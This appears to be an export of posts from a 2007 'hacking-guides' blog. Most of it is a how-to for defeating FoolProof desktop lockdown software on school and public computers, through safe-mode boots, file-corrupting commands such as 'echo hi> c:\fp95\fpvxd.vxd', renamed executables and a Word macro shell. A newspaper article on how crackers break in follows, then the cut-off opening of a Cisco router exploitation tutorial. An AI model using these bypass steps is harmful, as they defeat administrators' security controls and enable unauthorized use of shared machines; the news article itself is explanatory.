reason &lt;br /&gt;FoolProof &lt;br /&gt;keeps two passwords on the machine, the present one and a 'legacy' &lt;br /&gt;password (the one you used before you _thought_ it was changed). &lt;br /&gt;There &lt;br /&gt;exist a few memory viewers/editors but it isn't much effort to write &lt;br /&gt;something. &lt;br /&gt;&lt;br /&gt;Getting to a point where you can execute something can be &lt;br /&gt;difficult but isn't impossible.  I found that it is more difficult to &lt;br /&gt;do &lt;br /&gt;this on the win3.x machines because FoolProof isn't compromised by the &lt;br /&gt;operating system it sits on top of; basicly getting a dos prompt is up &lt;br /&gt;to &lt;br /&gt;you (try file manager if you can).  95 is easier because it is very &lt;br /&gt;simple to convince 95 that it should start up into Safe-Mode and then &lt;br /&gt;creating a shortcut in the StartUp group to your editor and then &lt;br /&gt;rebooting the machine (FoolProof doesn't get a chance to load in safe &lt;br /&gt;mode). &lt;br /&gt;&lt;br /&gt;JohnWayne &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MISC Method 1 &lt;br /&gt;/////////////// &lt;br /&gt;&lt;br /&gt;1. Launch a process viewing application (for example, Microsoft's &lt;br /&gt;pviewer) and kill &lt;br /&gt;FoolProof's running VXDs. Foolproof will now be disabled (although it &lt;br /&gt;will be loaded again on &lt;br /&gt;the next boot) &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;Haven't tried it.  Again, the machines I have been on have had the &lt;br /&gt;security as &lt;br /&gt;tight as possible.  I don't see running a proccess viewing application &lt;br /&gt;as a &lt;br /&gt;plausible option.  But go for it if you want. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. To uninstall Foolproof, move all the files from the FoolProof &lt;br /&gt;directory (which is '\sss' by &lt;br /&gt;default) to a temporary directory. Be sure to move all the files &lt;br /&gt;except the two .VXD files. On &lt;br /&gt;the next boot only the VXDs will be loaded, but Foolproof will be &lt;br /&gt;disabled (since the other &lt;br /&gt;necessary files will not be in FoolProof's directory). Now move the &lt;br /&gt;FoolProof files back to &lt;br /&gt;their original directory, and run Unfool.exe (which is usually located &lt;br /&gt;in the Windows directory). &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;Haven't tried this either.  Moving files has always been restricted &lt;br /&gt;for me too. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. The standard version of FoolProof does not block network file &lt;br /&gt;access. So if you have a &lt;br /&gt;network (as most schools do) then depending on the configuration of &lt;br /&gt;your &lt;br /&gt;account and the network itself, there are ways around certain aspects &lt;br /&gt;of FoolProof. &lt;br /&gt;For example, if you are using NetWare (4.11 is what this has been &lt;br /&gt;tested on) and NAL to &lt;br /&gt;manage access to network applications, there is a convenient way to &lt;br /&gt;get to browse drives that &lt;br /&gt;may be blocked, and to get to the explorer options menu (file types, &lt;br /&gt;view hidden files, etc..). &lt;br /&gt;Open your Server Apps folder (or Applications, or whatever your &lt;br /&gt;version of NAL calls it, it is &lt;br /&gt;the folder that is created on the desktop by NAL to provide access to &lt;br /&gt;NAL applications). &lt;br /&gt;Since the Server Apps folder is actually part of NAL, and therefore &lt;br /&gt;considered a network &lt;br /&gt;entity, FoolProof won't even attempt block it. Once it is open, you &lt;br /&gt;can view the explorer &lt;br /&gt;toolbar, or options menu and browse from there. That is assuming, of &lt;br /&gt;course, that they have &lt;br /&gt;been blocked on your system. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;The systems I cracked had blocked network access. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Rename the executable you wish to run to .SCR extension. FoolProof &lt;br /&gt;does not block &lt;br /&gt;screen savers, so the executable can now be launched, masquerading as &lt;br /&gt;a screen saver. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;This sounds like it might be plausable.  I will try it in the future, &lt;br /&gt;but &lt;br /&gt;as it stands now, I have not tested this. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Run the executable from a network drive &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;I couldn't. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. Run Word, and open a shell session using the macro Shell &lt;br /&gt;Environ$("COMMAND"). &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;Sounds money.  Haven't tried it. &lt;br /&gt;                       &lt;br /&gt;&lt;br /&gt;7. If the workstation is a Novell client, it's possible to hit 'F1' &lt;br /&gt;from the login screen, and when &lt;br /&gt;the help screen comes up, select the 'file' menu and then 'open'. Now &lt;br /&gt;you can browse the local &lt;br /&gt;drives, and rename FoolProof's directory. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;I didn't work under Novell client, but I am interested to know if this &lt;br /&gt;is &lt;br /&gt;legit. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. If a Virus Scanning utility is installed, right-click on a folder &lt;br /&gt;and select 'Scan for Viruses'. &lt;br /&gt;Now select the 'log' option, and change the location of the log file. &lt;br /&gt;Now you can browse &lt;br /&gt;around the local drive, again being able to rename the FoolProof &lt;br /&gt;folder. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;This is actually a really good way to go if possible.  I tried it on a &lt;br /&gt;computer &lt;br /&gt;that was running Mcaffe.  I went into the log option and then selected &lt;br /&gt;the "browse" &lt;br /&gt;option to decide where to place the log text.  You can then see things &lt;br /&gt;previously &lt;br /&gt;hidden by Foolproof.  By hitting F2 while selected on an object, you &lt;br /&gt;can rename it. &lt;br /&gt;So go ahead and try to rename the Foolproof directory or files.  My &lt;br /&gt;hotkeys (F2) were &lt;br /&gt;disabled, but yours may not be. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9. In any application that has a standard file choosing dialog &lt;br /&gt;(usually under the 'file', 'open' &lt;br /&gt;menu), browse to the directory containing the desired application &lt;br /&gt;(good examples are &lt;br /&gt;c:\windows\explorer.exe or c:\command.com), right click the .exe and &lt;br /&gt;choose "Quick View". &lt;br /&gt;The program's icon appears in the upper left had corner of the window &lt;br /&gt;- click it and Voila! &lt;br /&gt;Your application is running. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;On the machines I cracked, the C: directory was shadowed, therefore &lt;br /&gt;when I went into a program's &lt;br /&gt;"open" command, opening something from C: was not an option. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;10. Start a DOS session (by running command.com), and trash the &lt;br /&gt;foolproof VXD file by &lt;br /&gt;typing: echo hi&gt; c:\fp95\fpvxd.vxd &lt;br /&gt;Restart windows, and a screen will appear saying that &lt;br /&gt;c:\fp95\fpvxd.vxd is corrupt. Hit &lt;br /&gt;CTRL+ALT+DELETE and when windows will load you will be able to choose &lt;br /&gt;which mode &lt;br /&gt;to boot from. Select 'safe mode' and you'll be able to uninstall &lt;br /&gt;foolproof (or simply delete the &lt;br /&gt;entire foolproof directory). Alternatively, when in safe mode, just &lt;br /&gt;start a DOS session and &lt;br /&gt;type: echo hi&gt; c:\fp95\fplw16.exe. Now you can restart your computer: &lt;br /&gt;Foolproof will be &lt;br /&gt;disabled. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;I couldn't run command.com, or open in safe mode.  This might prove &lt;br /&gt;difficult. &lt;br /&gt;Also note that this appears to apply to an early version of Foolproof. &lt;br /&gt;I say this &lt;br /&gt;because in later versions the Foolproof directory is C:\Sss, not &lt;br /&gt;C:\fp95. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;11. Run: c:\Windows\System\msconfig.exe or click on: Start -&gt; Run -&gt; &lt;br /&gt;msconfig &lt;br /&gt;Now go to the Startup tab, and uncheck everything that says &lt;br /&gt;"FoolProof". Restart, and &lt;br /&gt;foolproof will be disabled. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;Sounds old to me (at least versions of Foolproof on which this would &lt;br /&gt;work). My "Run" &lt;br /&gt;option was gone, and I couldnt run unauthorized .exe's. &lt;br /&gt;                       &lt;br /&gt;&lt;br /&gt;12. Reboot with a Win98 boot disk and select the second option (Start &lt;br /&gt;without CD-ROM &lt;br /&gt;support), type the command "rename c:\sss\foolstr.exe nfoolstr.exe" &lt;br /&gt;where c:\sss is &lt;br /&gt;FoolProof's directory, remove boot disk and restart. FoolProof should &lt;br /&gt;not start and you may &lt;br /&gt;get an error message. Click start --&gt; find, and type nfoolstr.exe. &lt;br /&gt;Rename it to "foolstr.exe". &lt;br /&gt;Find the file unfool.exe and run it. Now do whatever you want! &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;I haven't tried this exact method, but I have always found that the &lt;br /&gt;first half (using a boot &lt;br /&gt;disk) is the best way to get started.  From my experience this looks &lt;br /&gt;to be an ideal method &lt;br /&gt;as long as you have access to the Foolproof directory (C:\Sss) from &lt;br /&gt;DOS. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MISC Method 2 &lt;br /&gt;/////////////// &lt;br /&gt;&lt;br /&gt;FoolProof Security is a desktop security application for Windows &lt;br /&gt;95/98/ME. Its purpose is to block users from accessing all programs, &lt;br /&gt;except those which are intended by the administrator. Additionally, it &lt;br /&gt;is &lt;br /&gt;intended to allow the user to only save files to specific locations &lt;br /&gt;(usually the floppy disk drive). FoolProof Security is usually found &lt;br /&gt;in &lt;br /&gt;computer labs, or on publicly accessible systems. &lt;br /&gt;&lt;br /&gt;A vulnerability exsists in FoolProof Security, in that it restricts &lt;br /&gt;certain programs to be executed only by name. By renaming a restricted &lt;br /&gt;program, it can be successfuly executed. This vulnerability can be &lt;br /&gt;used to &lt;br /&gt;sucessfully circumvent the security measures put forth by FoolProof, &lt;br /&gt;and &lt;br /&gt;even remove it entirely from the system. &lt;br /&gt;&lt;br /&gt;The following is an example: &lt;br /&gt;&lt;br /&gt;On a system with FoolProof Security installed open an MS-DOS Shell &lt;br /&gt;(usually found in Start Menu -&gt; Programs -&gt; Accessories). &lt;br /&gt;['COMMAND.EXE' &lt;br /&gt;is not restricted by FoolProof.] At the command prompt issue the 'ftp' &lt;br /&gt;command and open a connection to an ftp server in which you have write &lt;br /&gt;access to. ['FTP.EXE' is not restricted by FoolProof.] Upload the &lt;br /&gt;restricted program in which you wish to run. [such as 'deltree', &lt;br /&gt;'xcopy', 'edit', 'fdisk', and 'format'.] Afterwords, download these &lt;br /&gt;programs under a different name. [Use names other than those of &lt;br /&gt;restricted &lt;br /&gt;programs. Names such as 'tmp001a.exe' work.] You will now be able to &lt;br /&gt;use &lt;br /&gt;these programs, just as if they were the restricted equivilant. &lt;br /&gt;&lt;br /&gt;Side Note: Although you can use this process to use 'regedit', the &lt;br /&gt;registry is still locked by FoolProof. &lt;br /&gt;&lt;br /&gt;Solution: &lt;br /&gt;&lt;br /&gt;A quick fix, would be the removal of the 'ftp' client (although it &lt;br /&gt;will &lt;br /&gt;still be possible to download a simple ftp client that will do the &lt;br /&gt;same &lt;br /&gt;job.) &lt;br /&gt;&lt;br /&gt;Additionally, any shortcuts to 'command' should be removed, as this &lt;br /&gt;method &lt;br /&gt;will not work without it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-887841099624198515?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/887841099624198515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=887841099624198515' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/887841099624198515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/887841099624198515'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/various-ways-to-hack-or-over-ride.html' title='Various ways to hack or over-ride'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-8129566703271993975</id><published>2007-12-02T01:22:00.002-08:00</published><updated>2007-12-02T01:23:41.129-08:00</updated><title type='text'>How cracker's crack</title><content type='html'>Mercury News Computing Editor                                 &lt;br /&gt;                                                                                &lt;br /&gt;     Police, prosecutors and most of the press call them                        &lt;br /&gt;"hackers." Computer cognoscenti prefer the term "crackers."                     &lt;br /&gt;                                                                                &lt;br /&gt;     Both sides are talking about the same people, typically                    &lt;br /&gt;young men, whose fascination with computers leads them to gain                  &lt;br /&gt;access to computers where they don't belong.                                    &lt;br /&gt;                                                                                &lt;br /&gt;     A few crackers make headlines, like Robert T. Morris Jr.,                  &lt;br /&gt;son of a top computer security expert for the supersecret                       &lt;br /&gt;National Security Agency, who let loose a "worm" program on a                   &lt;br /&gt;national network of university, research and government computers               &lt;br /&gt;in 1988.                                                                        &lt;br /&gt;                                                                                &lt;br /&gt;     There are also notorious crackers like Kevin Mitnick, who                  &lt;br /&gt;was under investigation at the age of 13 for illegally obtaining                &lt;br /&gt;free long-distance phone calls and was sentenced to prison in                   &lt;br /&gt;1989 for computer break-ins.                                                    &lt;br /&gt;                                                                                &lt;br /&gt;     Then there are legions of far more ordinary crackers who                   &lt;br /&gt;simply use their knowledge of computers to "explore" intriguing                 &lt;br /&gt;corporate or government computers or simply to go for the                       &lt;br /&gt;electronic equivalent of a joy ride and impress their friends.                  &lt;br /&gt;                                                                                &lt;br /&gt;     But they all share something: an air of mystery. How do they               &lt;br /&gt;do it?                                                                          &lt;br /&gt;                                                                                &lt;br /&gt;     At a recent conference on computer freedom and privacy,                    &lt;br /&gt;computer expert Russell L. Brand gave a four-hour lecture on the                &lt;br /&gt;inner workings of computer cracking.                                            &lt;br /&gt;                                                                                &lt;br /&gt;     His basic message: Cracking is not as hard as it seems to an               &lt;br /&gt;outsider, and it often goes undetected by legitimate users of                   &lt;br /&gt;"cracked" computers.                                                            &lt;br /&gt;                                                                                &lt;br /&gt;     "Just because you don't see a problem is no reason to think                &lt;br /&gt;a problem hasn't occurred," Brand said. "Generally it's a month                 &lt;br /&gt;to six weeks before (operators) notice anything happened and                    &lt;br /&gt;usually because the cracker accidentally broke something."                      &lt;br /&gt;                                                                                &lt;br /&gt;     Home computers aren't in danger from crackers because they                 &lt;br /&gt;aren't accessible to outsiders--and because they aren't                         &lt;br /&gt;interesting to crackers. Instead, they target mainframes and                    &lt;br /&gt;minicomputers that support many users and are connected to                      &lt;br /&gt;telephone lines and large networks.                                             &lt;br /&gt;                                                                                &lt;br /&gt;     Understanding how crackers work and what security weaknesses               &lt;br /&gt;they exploit can help system managers prevent many break-ins,                   &lt;br /&gt;Brand said. And the biggest problem is carelessness.                            &lt;br /&gt;                                                                                &lt;br /&gt;     "When I started looking at break-ins, I had the assumption                 &lt;br /&gt;that technical problems were at fault," he said. "But the problem               &lt;br /&gt;is human beings."                                                               &lt;br /&gt;                                                                                &lt;br /&gt;     The "Cracker": Most crackers are not bent on stealing either               &lt;br /&gt;money or secrets but will target a particular computer for entry                &lt;br /&gt;because of the bragging rights they will enjoy with fellow                      &lt;br /&gt;crackers once they prove they broke in. Typically, the computer                 &lt;br /&gt;belongs to a corporation or the government and is considered in                 &lt;br /&gt;cracking circles to be hard to penetrate. Often, it is connected                &lt;br /&gt;to the nationwide NSFNet computer network.                                      &lt;br /&gt;                                                                                &lt;br /&gt;     The attack: Crackers can attack the target computer from                   &lt;br /&gt;home, using a modem and a telephone line. Or they can visit a                   &lt;br /&gt;publicly accessible terminal room, like one on a college campus,                &lt;br /&gt;using the school's computer to attack the target through a                      &lt;br /&gt;network. At home, the cracker works undisturbed and unseen for                  &lt;br /&gt;hours, but phone calls might be traced.                                         &lt;br /&gt;                                                                                &lt;br /&gt;     The resources: If the target computer is nearby, the cracker               &lt;br /&gt;may look through the owner's trash for valuable information, a                  &lt;br /&gt;practice called "dumpster diving." Discarded printouts, manuals                 &lt;br /&gt;or other paper may contain lists of accounts, some passwords, or                &lt;br /&gt;technical data more sophisticated crackers can exploit.                         &lt;br /&gt;                                                                                &lt;br /&gt;     The target: The easiest way to enter the target is with an                 &lt;br /&gt;account name and its password. Passwords are often the weakest                  &lt;br /&gt;link in a computer's security system: Many are easy to guess, and               &lt;br /&gt;some accounts have no password at all. Sophisticated crackers use               &lt;br /&gt;their personal computers to quickly try thousands of potential                  &lt;br /&gt;passwords for a match.                                                          &lt;br /&gt;                                                                                &lt;br /&gt;     The cover: To make calls from home harder to trace, crackers               &lt;br /&gt;might use stolen telephone credit-card numbers to place a series                &lt;br /&gt;of calls through different long-distance carriers or corporate                  &lt;br /&gt;switchboards before calling the target computer's modem.                        &lt;br /&gt;                                                                                &lt;br /&gt;     The way in: Many crackers take advantage of "holes" in the                 &lt;br /&gt;operating system, the software that controls the basic operations               &lt;br /&gt;of the machine. The holes are like secret doors that either let                 &lt;br /&gt;crackers make their own "super" accounts or just bypass accounts                &lt;br /&gt;and passwords altogether. Five holes in the Unix operating system               &lt;br /&gt;account for the bulk of computer break-ins--yet many                            &lt;br /&gt;installations have failed to patch them.                                        &lt;br /&gt;                                                                                &lt;br /&gt;     The network: Most large computers are connected to several                 &lt;br /&gt;others through networks, a chief point of attack. Computers erect               &lt;br /&gt;barriers to people but often completely trust other computers, so               &lt;br /&gt;attacking a computer through another computer on the network can                &lt;br /&gt;be easier than attacking it with a personal computer and a modem.               &lt;br /&gt;                                                                                &lt;br /&gt;     Ill-used passwords let many pass                                           &lt;br /&gt;                                                                                &lt;br /&gt;     Passwords are the security linchpin for most computer                      &lt;br /&gt;systems. But these supposedly secret keys to computer access are                &lt;br /&gt;easily obtained by a determined cracker.                                        &lt;br /&gt;                                                                                &lt;br /&gt;     The main reason: Users and system managers often are so                    &lt;br /&gt;careless with passwords that they are as easy to find as a door                 &lt;br /&gt;key left under the welcome mat.                                                 &lt;br /&gt;                                                                                &lt;br /&gt;     Part of the problem is the proliferation of computers and                  &lt;br /&gt;computerlike devices such as automated teller machines, all of                  &lt;br /&gt;which require passwords or personal identification numbers. Many                &lt;br /&gt;people must now remember half a dozen or more such secret codes,                &lt;br /&gt;encouraging them to make each one short and simple.                             &lt;br /&gt;                                                                                &lt;br /&gt;     Often, that means making their passwords the same as their                 &lt;br /&gt;account name, which in turn is often the user's own first or last               &lt;br /&gt;name. Such identical combinations are called "Joe" accounts, and                &lt;br /&gt;according to computer expert Russell L. Brand, they are "the                    &lt;br /&gt;single most common cause of password problems in the world."                    &lt;br /&gt;                                                                                &lt;br /&gt;     These `secret' keys to computer access are easily obtained                 &lt;br /&gt;by a determined cracker. The main reason: Users and system                      &lt;br /&gt;managers often are so careless with passwords that they are as                  &lt;br /&gt;easy to find as a key left under the welcome mat.                               &lt;br /&gt;                                                                                &lt;br /&gt;     Knowing there are Joes, a cracker can simply try a few dozen               &lt;br /&gt;common English names with a reasonable chance that one will work.               &lt;br /&gt;Armed with an easily obtained company directory of employees, the               &lt;br /&gt;task can be even easier.                                                        &lt;br /&gt;                                                                                &lt;br /&gt;     Joe accounts also crop up when the system manager creates an               &lt;br /&gt;account for a new employee, expecting that the user will                        &lt;br /&gt;immediately change the given password from his or her name to                   &lt;br /&gt;something else. But users often fail to make the change or aren't               &lt;br /&gt;told how. Sometimes, they never use the account at all, providing               &lt;br /&gt;not only easy access for the cracker but an account where the                   &lt;br /&gt;owner won't notice any illicit activity.                                        &lt;br /&gt;                                                                                &lt;br /&gt;     Even if crackers can't find a "Joe" on the computer they                   &lt;br /&gt;want to enter, there are several other common ways for them to                  &lt;br /&gt;find a password that will work:                                                 &lt;br /&gt;                                                                                &lt;br /&gt;     - Many systems have accounts with no passwords or have                     &lt;br /&gt;accounts for occasional visitors to use where the ID and password               &lt;br /&gt;are both GUEST.                                                                 &lt;br /&gt;                                                                                &lt;br /&gt;     - Outdated operator's manuals retrieved from the trash often               &lt;br /&gt;list the account name and standard password provided by the                     &lt;br /&gt;operating system for use by maintenance programmers. Although it                &lt;br /&gt;can and should be changed, the password seldom is.                              &lt;br /&gt;                                                                                &lt;br /&gt;     - "Social engineering"--in effect, persuading someone,                     &lt;br /&gt;usually by telephone, to divulge account names, passwords or                    &lt;br /&gt;both--is a common ploy used by crackers.                                        &lt;br /&gt;                                                                                &lt;br /&gt;     - Crackers are sometimes able to obtain an encrypted list of               &lt;br /&gt;passwords for a target computer, discarded by the owners who                    &lt;br /&gt;mistakenly believe the coded words aren't useful to crackers.                   &lt;br /&gt;While it's true they are difficult to decode, it is easy for a                  &lt;br /&gt;cracker to use a personal computer to take a potential password                 &lt;br /&gt;and encode it. Because most passwords are ordinary English words,               &lt;br /&gt;crackers can simply run a personal computer program to encode the               &lt;br /&gt;contents of an electronic dictionary and identify any entries                   &lt;br /&gt;that match passwords on the coded list.                                         &lt;br /&gt;                                                                                &lt;br /&gt;     - In another form of deception, crackers set up public                     &lt;br /&gt;bulletin board systems whose real purpose is to snag passwords.                 &lt;br /&gt;Because many people tend to use the same password for all their                 &lt;br /&gt;computer accounts, the cracker can simply wait until someone who                &lt;br /&gt;has an account on the target computer also sets up an account on                &lt;br /&gt;the bulletin board. The cracker then reads the password and tries               &lt;br /&gt;it on the target system.                                                        &lt;br /&gt;                                                                                &lt;br /&gt;     While individual users can't delete dormant accounts from                  &lt;br /&gt;their computers or keep an eye on the trash, they can be                        &lt;br /&gt;intelligent about what passwords they use. Brand suggests users                 &lt;br /&gt;choose a short phrase that's easy for them to remember and then                 &lt;br /&gt;use the first two letters of each word as the password. As added                &lt;br /&gt;protection, users who are able should mix uppercase and lowercase               &lt;br /&gt;letters in their passwords or use a punctuation mark in the                     &lt;br /&gt;middle of the word.--Rory J. O'Connor                                           &lt;br /&gt;                                                                                &lt;br /&gt;     The rights of bits                                                         &lt;br /&gt;                                                                                &lt;br /&gt;     Constitutional scholar Laurence H. Tribe, widely considered                &lt;br /&gt;the first choice for any Supreme Court vacancy that might arise                 &lt;br /&gt;under a Democratic administration, proposed a fairly radical idea               &lt;br /&gt;recently: a constitutional amendment covering computers.                        &lt;br /&gt;                                                                                &lt;br /&gt;     Tribe's proposal for a 27th Amendment would specifically                   &lt;br /&gt;extend First and Fourth Amendment protections to the rapidly                    &lt;br /&gt;growing and increasingly pervasive universe of computing. Those                 &lt;br /&gt;rights would be "construed as fully applicable without regard to                &lt;br /&gt;the technological method or medium through which information                    &lt;br /&gt;content is generated, stored, altered, transmitted or                           &lt;br /&gt;controlled," in the words of the proposed amendment.                            &lt;br /&gt;                                                                                &lt;br /&gt;     I am not a constitutional scholar, but I have to believe                   &lt;br /&gt;that what's needed is not a change in the Constitution, but                     &lt;br /&gt;instead a change in the thinking of judges in particular and the                &lt;br /&gt;public in general.                                                              &lt;br /&gt;                                                                                &lt;br /&gt;     Tribe acknowledges that he doesn't take amendments lightly,                &lt;br /&gt;pointing to the ridiculous brouhaha over a flag-burning amendment               &lt;br /&gt;as an example of what not to do to the basic law of the land. But               &lt;br /&gt;like many people who are more deeply involved in the world of                   &lt;br /&gt;computers, Tribe sees the issue of civil liberties in an                        &lt;br /&gt;information society as a crucial one.                                           &lt;br /&gt;                                                                                &lt;br /&gt;     The question is not whether the civil liberties issue is                   &lt;br /&gt;serious enough to be addressed by some fundamental legal change.                &lt;br /&gt;The question is really how to get people to see that                            &lt;br /&gt;communicating with a computer is speech, and that to search a                   &lt;br /&gt;computer and seize data is the same as searching a house and                    &lt;br /&gt;seizing the contents of my filing cabinet.                                      &lt;br /&gt;                                                                                &lt;br /&gt;     People seem to have trouble making these connections when                  &lt;br /&gt;computers are involved, even though they wouldn't have trouble                  &lt;br /&gt;recognizing a private telephone conversation as protected speech.               &lt;br /&gt;Yet most telephone calls in this country are, at some time in                   &lt;br /&gt;their transmission, nothing more than a stream of computer bits                 &lt;br /&gt;traveling between sophisticated computers.                                      &lt;br /&gt;                                                                                &lt;br /&gt;     Admittedly, computers do make for some complications where                 &lt;br /&gt;things like search and seizure are concerned.                                   &lt;br /&gt;                                                                                &lt;br /&gt;     Let's say the FBI gets a search warrant for a computer                     &lt;br /&gt;bulletin board, looking for a specific set of messages about an                 &lt;br /&gt;illegal drug business. Because a single hard disk drive on a                    &lt;br /&gt;bulletin board system can contain thousands of messages from                    &lt;br /&gt;different users, the normal method for police will be to take the               &lt;br /&gt;whole disk, and probably the computer as well, back to the lab to               &lt;br /&gt;look for the suspect messages.                                                  &lt;br /&gt;                                                                                &lt;br /&gt;     Of course, that exposes other, supposedly confidential                     &lt;br /&gt;messages to police scrutiny. It also interrupts the legitimate                  &lt;br /&gt;operation of what is, in effect, an electronic printing press.                  &lt;br /&gt;                                                                                &lt;br /&gt;     Certainly, in the case of a real printing press that used                  &lt;br /&gt;paper, such police activity would never be allowed. But a                       &lt;br /&gt;computer is involved here, which to some appears to make the                    &lt;br /&gt;existing rules inapplicable.                                                    &lt;br /&gt;                                                                                &lt;br /&gt;     But in a case like this, we don't need a new amendment, just               &lt;br /&gt;the proper application of the Bill of Rights.                                   &lt;br /&gt;                                                                                &lt;br /&gt;     As a more practical matter, the chances of amending the                    &lt;br /&gt;Constitution are slight. It was the intent of the framers to make               &lt;br /&gt;the task difficult, to prevent just such trivial things as                      &lt;br /&gt;flag-burning amendments from being tacked onto the document. Even               &lt;br /&gt;the far more substantial Equal Rights Amendment did not survive                 &lt;br /&gt;the rocky road from proposal to adoption. I doubt Tribe's &amp;nbs&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-8129566703271993975?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/8129566703271993975/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=8129566703271993975' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8129566703271993975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8129566703271993975'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/how-crackers-crack.html' title='How cracker&apos;s crack'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-819619244289531499</id><published>2007-12-02T01:22:00.001-08:00</published><updated>2007-12-02T01:22:36.200-08:00</updated><title type='text'>Exploiting cisco systems</title><content type='html'>Warning:&lt;br /&gt;DO NOT use this to damage cisco systems, or gain unauthorized access to systems. This tutorial is just something to&lt;br /&gt;use for educational purposes. Only use this information in a legal way (the hacker wargames for instance), and do&lt;br /&gt;not damage or destroy anything. This is a step-by-step guide on how a series of proven cisco exploits can be used to&lt;br /&gt;gain access. If you get caught breaking into a cisco router, or screw the system up, you can interrupt hundreds of&lt;br /&gt;internet clients, and cost thousands of dollars, so only use this when you are allowed!! Using this the wrong way&lt;br /&gt;will get you into a lot of trouble.&lt;br /&gt;&lt;br /&gt;Note: some of this tutorial was written on a Unix system, and the text was not converted to be DOS /&lt;br /&gt;Windows-compatible, so you'll have to view this text from either your Internet browser, or from an advanced editor&lt;br /&gt;such as Microsoft Word.&lt;br /&gt;&lt;br /&gt;----------------------------------&lt;br /&gt;Table of Contents:&lt;br /&gt;----------------------------------&lt;br /&gt;Before you start:&lt;br /&gt;&lt;br /&gt;- What is an IP address?&lt;br /&gt;&lt;br /&gt;- What is an ISP?&lt;br /&gt;&lt;br /&gt;- What is a TCP/IP packet?&lt;br /&gt;&lt;br /&gt;- How to spoof your IP&lt;br /&gt;&lt;br /&gt;- How to use Telnet&lt;br /&gt;&lt;br /&gt;- How to use HyperTerminal&lt;br /&gt;&lt;br /&gt;- How to use Ping&lt;br /&gt;&lt;br /&gt;- How to use TraceRoute&lt;br /&gt;&lt;br /&gt;- How to use a proxy server&lt;br /&gt;&lt;br /&gt;-------------------------------------&lt;br /&gt;&lt;br /&gt;- Section 1: why hack a cisco router?&lt;br /&gt;&lt;br /&gt;- Section 2: how to find a cisco router&lt;br /&gt;&lt;br /&gt;- Section 3: how to break into a cisco&lt;br /&gt;&lt;br /&gt;- Section 4: how to break the password&lt;br /&gt;&lt;br /&gt;- Section 5: how to use a cisco router&lt;br /&gt;&lt;br /&gt;-----------------------------------&lt;br /&gt;&lt;br /&gt;Stuff you'll need to know BEFORE you start:&lt;br /&gt;&lt;br /&gt;-----------------------------------&lt;br /&gt;&lt;br /&gt;What is an IP address?&lt;br /&gt;&lt;br /&gt;IP stands for Internet Protocol, IP addresses are used by other computers to identify computers that connect to&lt;br /&gt;them. This is how you can be banned from IRC, and how they can find your ISP. IP addresses are easily obtained, they&lt;br /&gt;can be retrieved through the following methods:&lt;br /&gt;&lt;br /&gt;-you go to a website, your IP is logged&lt;br /&gt;&lt;br /&gt;-on IRC, anyone can get your IP&lt;br /&gt;&lt;br /&gt;-on ICQ, people can get your IP, even if you have the option set "do not show ip"&lt;br /&gt;they can still get it&lt;br /&gt;&lt;br /&gt;-if you are connected to someone, they can type "systat", and see who is connected to them&lt;br /&gt;&lt;br /&gt;-if someone sends you an email with IP-logging java, they can also get your IP address&lt;br /&gt;&lt;br /&gt;There are many more ways of obtaining IP addresses, including using back-door programs such as Sub7 or NetBus.&lt;br /&gt;&lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;What is an ISP?&lt;br /&gt;&lt;br /&gt;ISP stands for Internet Service 